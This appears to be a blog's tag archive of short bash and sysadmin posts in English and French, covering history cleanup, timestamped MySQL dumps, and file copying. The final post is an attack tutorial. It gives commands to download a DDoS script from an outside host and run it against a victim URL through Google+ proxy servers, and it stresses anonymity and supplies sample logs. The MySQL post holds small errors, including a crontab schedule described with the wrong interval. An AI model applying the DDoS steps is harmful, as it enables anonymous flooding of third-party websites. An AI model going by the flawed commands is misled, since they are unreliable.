Archive

Articles taggués ‘bash’

Learn Bash: Remove Commands From Your History

15/12/2023 Comments off

Occasionally I type a password or other sensitive information into a shell prompt. Using bash history, the command can be removed.

# say we start with an empty bash command history
bash-3.2$ history
 1 history
# enter a command that requires a password
bash-3.2$ sudo rm -i some_file
Password:
# accidentally ^C and type your password
# into the prompt and hit enter
bash-3.2$ secret_password
bash: secret_password: command not found
# your password is now there for all to
# see in your bash history
bash-3.2$ history
 1 history
 2 sudo rm -i some_file
 3 secret_password
 4 history
# first option to fix it, delete the numbered entry from
# history and write to your ~/.bash_history file
bash-3.2$ history -d 3
bash-3.2$ history -w
# entry 3 will be removed entirely from your command history
bash-3.2$ history
 1 history
 2 sudo rm -i some_file
 3 history
 4 history -d 3
 5 history -w
 6 history
# the second option is to clear the entire history
# and write the changes to disk
bash-3.2$ history -c
bash-3.2$ history -w
# it's now pretty obvious that your history has been
# scrubbed clean, but at least your password is history!
bash-3.2$ history
 1 history -w
 2 history
Categories: Système Tags: , , ,

Dumper une base MySQL avec horodatage dans le nom du fichier

14/12/2023 Comments off

J’ai un projet qui utilise la base de données MySQL. Je souhaite sauvegarder la base de données tous les jours, donc j’utilise ceci:

mysqldump -h host -u user -p database de mots de passe> 'location.sql'

Je souhaite que les fichiers soient nommés avec l’horodatage, c’est-à-dire:

Aujourd’hui, le fichier sera nommé quelque chose-07-05-2014 08-00-00
Demain sera quelque chose-08-05-2014 08-00-00

Comment ajouter un timestamp formaté avec le nom de fichier exporté?

Réponse:

Une solution serait:

mysqldump -h host -u user -p password database > quelque chose-$(date +%d-%m-%Y %H %M %S).sql

Pour un horodatée qui permette le tri correct des fichiers, il fait changer l’ordre des paramètres et utiliser:

%Y-%m-%d

de manière à trier sur année, mois puis jour. Ne rien changer pour les hh:mm:ss puisque le tri se fair naturellement dans cas.

Pour automatiser ce dump, il faut insérer cette commande dans le crontab (du root ou de l’utilisateur):

0 */8 * * * root /usr/bin/mysqldump -h host -u user -p password database > quelque chose-$(date +%d-%m-%Y %H %M %S).sql

pour que la commande s’exécute toutes les 3 heures (24h ÷ 8).

Categories: Système Tags: , , ,

Copy a folder overwriting ONLY smaller files in destination

28/11/2023 2 commentaires

I have tons of PDFs in multiple sub-folders in /home/user/original that I have compressed using ghostscript pdfwrite in /home/user/compressed.

ghostscript has done a great job at compressing about 90% of the files however the rest of them ended up bigger than originals.

I would like to cp /home/user/compressed to /home/user/original overwriting files that are only smaller than the ones in destination while the bigger ones are skipped.

Any ideas?

Categories: Système Tags: , ,

Append TimeStamp to file name

05/11/2023 Comments off

I need to create a shell script that appends a timestamp to existing file. I mainly use Mac OS X for development. Wanted to create the same on Mac Terminal.

Here are some basics on date command.

NAME

date -- display or set date and time

SYNOPSIS
date [-ju] [-r seconds] [-v [+|-]val[ymwdHMS]] ... [+output_fmt]
date [-jnu] [[[mm]dd]HH]MM[[cc]yy][.ss]
date [-jnu] -f input_fmt new_date [+output_fmt]
date [-d dst] [-t minutes_west]

Samples:

Script to append date stamp to file:

Categories: Système Tags: ,

Launch DDoS Attack Using Google Servers with +DDoS Bash Script

27/09/2023 Comments off

DDoS-Using-Google+-Servers-HackersGarageRecently we wrote about ApacheKiller that freezes Victim Server in seconds. While this new findings by IHTeam express that Google+ Servers can be use for DDoS attack. Lets talk about this ant script, Hey.. but it is worthy.

How DDoS Attack Using Google+ Servers works?

When you post a URL on your Google+ status it fetches URL Summary (It includes Image + Short description) using Google+ Proxy Servers.

Advisory report says;  vulnerable pages are “/_/sharebox/linkpreview/“  and “gadgets/proxy?

So if you send multiple parallel requests with a big number e.g 1000 that can be turn into DDoS attack using Google+ Servers huge bandwidth.

How to use DDoS script to launch a DDoS attack Using Google+ Servers?

Download :
wget static.hackersgarage.com/ddos-using-google-servers.sh.hackersgarage.com

Make it shorter :
mv ddos-using-google-servers.sh.hackersgarage.com ddos.sh

Make it executable :
chmod u+x ddos.sh

Example of Usage :
./ddos.sh http://www.victim-website.com/some-file-url/file-name.mp3 1000

Now, lets look at this example :
It is recommended to find a full path to some big file which is downloadable without requesting for CAPTCHA.

e.g http://www.victim-website.com/some-file-url/file-name.mp3

NOTE : Make sure your workstation is capable to handle this huge number else your workstation will freeze and you will have to force fully restart your own workstation ?

e.g 1000 is very big number.

You will see anonymous source instead of Real Source IP:
See sample apache webserver log below

209.85.228.85 - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
209.85.226.88 - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
209.85.228.90 - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
209.85.226.91 - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
209.85.226.81 - - [31/Aug/2011:15:34:18 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
209.85.228.86 - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
74.125.152.84 - - [31/Aug/2011:15:34:21 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
74.125.152.81 - - [31/Aug/2011:15:34:33 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"

You can also access it in browser to remain anonymous using below example URL (replace URL with your own choice) :

https://images1-focus-opensocial.googleusercontent.com/gadgets/proxy?url=http://www.Hackersgarage.com&container=none

Source: hackersgarage.com